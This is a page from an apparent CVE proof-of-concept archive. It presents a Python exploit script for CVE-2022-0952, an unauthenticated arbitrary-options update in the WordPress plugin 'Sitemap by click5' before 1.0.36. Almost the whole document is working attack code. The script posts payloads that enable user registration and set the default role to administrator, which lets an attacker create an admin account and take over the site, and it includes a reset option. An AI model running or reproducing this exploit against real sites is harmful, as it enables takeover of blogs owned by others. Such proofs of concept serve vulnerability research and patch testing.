4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-0952.py PY
#!/usr/bin/env python3
import argparse
import requests
from getpass import getpass
from bs4 import BeautifulSoup
import os

## Exploit script by @RandomRobbieBF

user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
session = requests.Session()

http_proxy = ""
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy

def check_plugin_version(url):
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
    plugin_url = ""+url+"/wp-content/plugins/sitemap-by-click5/readme.txt"
    response = requests.get(plugin_url, headers=headers,verify=False,timeout=30)
    if response.status_code == 200:
        content = response.text

        version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None)
        if version_line:
            version = version_line.split(':')[1].strip()
            if version >= '1.0.36':
                print("The plugin version is 1.0.36 or above.")
                exit()
            else:
                print("The plugin version is below 1.0.36.")
                print("The plugin version is "+version+"")
                return version
        else:
            print("Failed to find the version information in the readme.txt file.")
            exit()
    else:
        print("Plugin not installed")
        exit()


def undoadmin(url):
    # Perform vulnerability check logic here
    print("Vulnerability check:", url)
    payloads = [{"users_can_register": 0},{"default_role":"subscriber"}]
        
    main_url = f"{url}/wp-json/click5_sitemap/API/update_html_option_AJAX"
    for payload in payloads:
        ajax_response = session.post(main_url,json=payload, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"})
        ajax_response.raise_for_status()

        # Check if option set successfully
        if ajax_response.status_code == 200:
            print(f"Option set successfully: {main_url}")
        else:
            print(f"Failed to set option: {main_url}")
            exit()


        # Check if user registration is allowed
        register_url = f"{url}/wp-login.php?action=register"
        register_response = requests.get(register_url, headers={"User-Agent": user_agent})

        if "Registration confirmation will be emailed to you" in register_response.text:
            print("Error: it looks like you can still register.")
            exit()
        else:
            print("Fixed: You can not longer register")



def vulncheck(url):
    # Perform vulnerability check logic here
    print("Vulnerability check:", url)
    payloads = [{"users_can_register": 1},{"default_role":"administrator"}]
        
    main_url = f"{url}/wp-json/click5_sitemap/API/update_html_option_AJAX"
    for payload in payloads:
        ajax_response = session.post(main_url,json=payload, headers={"User-Agent": user_agent,"Content-Type": "application/json"})
        ajax_response.raise_for_status()

        # Check if option set successfully
        if ajax_response.status_code == 200:
            print(f"Option set successfully: {main_url}")
        else:
            print(f"Failed to set option: {main_url}")
            exit()


        # Check if user registration is allowed
        register_url = f"{url}/wp-login.php?action=register"
        register_response = requests.get(register_url, headers={"User-Agent": user_agent})

        if "Registration confirmation will be emailed to you" in register_response.text:
            print("You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.")
            exit()
        else:
            print("boooo")



# Add the vulnerability description as a comment
DESCRIPTION = """
Sitemap by click5 < 1.0.36 - Unauthenticated Arbitrary Options Update

The plugin does not have authorisation and CSRF checks when updating options via a REST endpoint, and does not ensure that the option to be updated belongs to the plugin. As a result, unauthenticated attackers could change arbitrary blog options, such as the users_can_register and default_role, allowing them to create a new admin account and take over the blog.

"""

# Use argparse to get the URL, username, and password arguments
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument("-u", "--url", help="Website URL", required=True)
parser.add_argument("-f", "--fix", help="Reset after Exploit")
args = parser.parse_args()


# Usage
if args.fix:
   undoadmin(args.url)
else:
   check_plugin_version(args.url)
   vulncheck(args.url)